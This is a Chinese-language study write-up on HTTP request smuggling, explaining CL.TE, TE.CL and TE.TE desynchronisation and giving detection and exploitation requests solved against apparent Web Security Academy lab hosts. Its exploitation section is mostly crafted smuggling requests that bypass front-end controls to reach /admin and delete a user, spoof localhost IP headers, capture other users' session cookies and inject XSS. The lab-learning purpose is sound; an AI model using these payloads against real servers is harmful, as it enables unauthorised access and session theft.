浅谈HTTP请求走私

0x 01 知识背景

HTTP中存在一个重要概念是 Persistent Connection (持久连接)

HTTP/1.0 的持久连接通过Connection: keep-alive实现

HTTP/1.1 则规定所有连接都必须是持久的,除非显式地在头部加上 Connection: close

这篇文章里面可以了解到:对于持久连接,一个传输实体必须有一个结束标志.并且存在两种HTTP请求结束的标志: Content-Length Transfer-Encoding

Content-Length:直接给出了实体长度

1
2
3
4
HTTP/1.1 200 OK\r\n
Content-Length: 12\r\n
\r\n
hello world!

Transfer-Encoding:实体进行分块编码

每个分块包含十六进制的长度值和数据,长度值独占一行(长度不包括 CRLF(\r\n))

长度都是以字节为单位计算的

最后一个分块长度值必须为 0,对应的分块数据没有内容,表示实体结束

1
2
3
4
5
6
7
8
9
HTTP/1.1 200 OK\r\n
Transfer-Encoding: chunked\r\n
\r\n
b\r\n
01234567890\r\n
5\r\n
12345\r\n
0\r\n
\r\n

这两种方式的区别可参考 https://blog.csdn.net/u014569188/article/details/78912469

还有一个 Content-Encoding 的东西经常和 Transfer-Encoding 结合使用,具体可以参考上面那篇文章

为了缓解源站的压力,一般会在用户和后端服务器(源站)之间加设前置服务器,用以缓存、简单校验、负载均衡等,而前置服务器与后端服务器往往是在可靠的网络域中,IP 也是相对固定的,所以可以重用 TCP 连接来减少频繁 TCP 握手带来的开销 .

在用户和资源服务器之间还可能存在专用的防火墙服务器等.

0x 02 HTTP请求走私

由于HTTP规范提供了两种不同的方法来指定HTTP消息的长度,因此单个消息可能会同时使用这两种方法,虽然HTTP规范中指出,如果 Content-LengthTransfer-Encoding头同时存在 ,content-length头则会被忽略,但是两个服务器之间可能有一个不支持Transfer-Encoding或者攻击者对TE进行了混淆,导致两个server之间的标准不一样,从而产生请求走私漏洞.

具体的三种情况:

  • CL.TE : 前置服务器认为 Content-Length 优先级更高(或者根本就不支持 Transfer-Encoding ) ,后端认为 Transfer-Encoding 优先级更高

  • TE-CL:前置服务器认为 Transfer-Encoding 优先级更高,后端认为 Content-Length 优先级更高(或者不支持 Transfer-Encoding

  • TE-TE:前置和后端服务器都支持 Transfer-Encoding,但可以通过混淆让它们在处理时产生分歧

CL-TE

发出两次下面的请求,可观察到服务器返回的error信息 "Unrecognized method GPOST"

1612096003402

前置服务器根据content-length把下面的实体数据全部发送了

这里长度计算不包括第一个\r\n,这是请求头和请求体之间的边界

然后后端服务器根据Transfer-Encoding,将0\r\n\r\n视为一个块结束的标志.G滞留在缓冲区.

然后再次发起请求的时候滞留的G和新的块拼接在了一起 ,就变成了GPOST\r\nHOST:...

TE-CL

连续发送下面的请求

1612097382479

前置服务器根据Transfer-Encoding判断请求边界,将整个请求体发送给后端服务器

然后后端服务器根据Content-Length: 4只对5c\r\n进行了处理,后面的部分滞留在缓冲区

然后再次发送请求,就会出现"Unrecognized method GPOST"的错误

TE-TE

对TE进行一些混淆

1612097986236

两个服务器对存在两个Transfer-Encoding时的处理存在不一致,一个倾向Transfer-encoding,一个倾向 Transfer-Encoding

还有别的混淆如:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
Transfer-Encoding: xchunked

Transfer-Encoding[空格]: chunked

Transfer-Encoding: chunked
Transfer-Encoding: x

Transfer-Encoding:[tab]chunked

[空格]Transfer-Encoding: chunked

X: X[\n]Transfer-Encoding: chunked

Transfer-Encoding
: chunked

0x03探测

延时

一般是返回500

  • 探测CL-TE

前置服务器发送全部数据到后端,后端服务器没有接收到0\r\n\r\n而等待

1
2
3
4
5
6
7
8
POST / HTTP/1.1\r\n
Host: vulnerable-website.com\r\n
Transfer-Encoding: chunked\r\n
Content-Length: 4\r\n
\r\n
1\r\n
A\r\n
X
  • 探测TE-CL

前置服务器只发送5字节,后端服务器等待第六个字节

1
2
3
4
5
6
7
8
POST / HTTP/1.1\r\n
Host: vulnerable-website.com\r\n
Transfer-Encoding: chunked\r\n
Content-Length: 6\r\n
\r\n
0\r\n
\r\n
X\r\n

根据不同的响应

  • CL-TE
1
2
3
4
5
6
7
8
9
10
11
12
POST /search HTTP/1.1\r\n
Host: vulnerable-website.com\r\n
Content-Type: application/x-www-form-urlencoded\r\n
Content-Length: 49\r\n
Transfer-Encoding: chunked\r\n
\r\n
e\r\n
q=smuggling&x=\r\n
0\r\n
\r\n
GET /404 HTTP/1.1\r\n
Foo: x

伪造的相应:返回error

1
2
3
4
5
6
7
GET /404 HTTP/1.1
Foo: xPOST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 11

q=smuggling
  • TE-CL
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
POST /search HTTP/1.1\r\n
Host: vulnerable-website.com\r\n
Content-Type: application/x-www-form-urlencoded\r\n
Content-Length: 4\r\n
Transfer-Encoding: chunked\r\n
\r\n
7c\r\n
GET /404 HTTP/1.1\r\n
Host: vulnerable-website.com\r\n
Content-Type: application/x-www-form-urlencoded\r\n
Content-Length: 144\r\n
\r\n
x=\r\n
0\r\n
\r\n


或者下面这个,利用的时候不用再计算长度了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST / HTTP/1.1
Host: ac991ff81e1155588027028a00a60085.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-length: 4
Transfer-Encoding: chunked

5e
POST /404 HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15

x=1
0


0x 04利用

bypass防火墙安全控制

  • 针对CL-TE
1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST / HTTP/1.1
Host: acfe1fd11efd558780340c0d009d003d.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 116
Transfer-Encoding: chunked

0

GET /admin HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded
Content-Length: 10

x=

特权操作

1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST / HTTP/1.1
Host: acfe1fd11efd558780340c0d009d003d.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 139
Transfer-Encoding: chunked

0

GET /admin/delete?username=carlos HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded
Content-Length: 10

x=
  • TE-CL
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST / HTTP/1.1
Host: ace51f0c1e67808d804d707500860021.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-length: 4
Transfer-Encoding: chunked

71
POST /admin HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded
Content-Length: 15

x=1
0


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST / HTTP/1.1
Host: ace51f0c1e67808d804d707500860021.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-length: 4
Transfer-Encoding: chunked

71
POST /admin HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded
Content-Length: 10

x=1
0


1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST / HTTP/1.1
Host: ace51f0c1e67808d804d707500860021.web-security-academy.net
Content-length: 4
Transfer-Encoding: chunked

87
GET /admin/delete?username=carlos HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded
Content-Length: 15

x=1
0

bypass ip等限制

请求头中的一些限制因素

1
2
3
4
5
6
7
8
Host: vulnerable-website.com
X-Forwarded-For: 1.3.3.7
X-Forwarded-Proto: https
X-TLS-Bits: 128
X-TLS-Cipher: ECDHE-RSA-AES128-GCM-SHA256
X-TLS-Version: TLSv1.2
x-nr-external-service: external
...
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST / HTTP/1.1
Host: acf01fc11f920726807703ef005a003a.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 143
Transfer-Encoding: chunked

0

GET /admin HTTP/1.1
X-aEWnFO-Ip: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 10
Connection: close

x=1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST / HTTP/1.1
Host: acf01fc11f920726807703ef005a003a.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 141
Transfer-Encoding: chunked

0

GET /admin HTTP/1.1
Client-ip: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 10
Connection: close

x=1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST / HTTP/1.1
Host: acf01fc11f920726807703ef005a003a.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 166
Transfer-Encoding: chunked

0

GET /admin/delete?username=carlos HTTP/1.1
X-aEWnFO-Ip: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 10
Connection: close

x=1

窃取信息

可以捕获别人的请求(cookie,session等)

利用条件比较苛刻,可参考 https://xz.aliyun.com/t/7501#toc-9

首先可以截取一个发送评论的包

1
2
3
4
5
6
7
POST /post/comment HTTP/1.1
Host: ac771fff1e7151cd80977b71000800a1.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 400
Cookie: session=m5fcVJxX7Eqcdq0sE5eccIv4GTQdZILj

csrf=w7zSB0ypijpVohxpxKcMmKnWQMYNlmrw&postId=1&comment=test&name=1&email=1111%401111.com&website=http%3A%2F%2Fwww.baidu.com%2F

然后构造下面的数据

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST / HTTP/1.1
Host: ac771fff1e7151cd80977b71000800a1.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 325
Transfer-Encoding: chunked

0

POST /post/comment HTTP/1.1
Host: ac771fff1e7151cd80977b71000800a1.web-security-academy.net
Content-Length: 665
Content-Type: application/x-www-form-urlencoded
Cookie: session=m5fcVJxX7Eqcdq0sE5eccIv4GTQdZILj

csrf=w7zSB0ypijpVohxpxKcMmKnWQMYNlmrw&postId=3&name=p&email=a%40q.cc&website=http%3A%2F%2Fa.cc&comment=a

然后可以在评论区看到一些别人的cookie信息(也可能是自己的=.=)

1612106890243

xss

1
2
3
4
5
6
7
8
9
10
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 63
Transfer-Encoding: chunked

0

GET / HTTP/1.1
User-Agent: <script>alert(1)</script>
Foo: X

Others

太懒了…,后面遇到再来做这几个实验

  • 将 on-site 重定向变为开放式重定向
  • 缓存投毒
  • 缓存欺骗

0x 05 总结

粗略的学习一下

CTF中利用可以利用的应该有bypass,和xss. (这两天某比赛就遇到了一个bypass.

参考 https://xz.aliyun.com/t/7501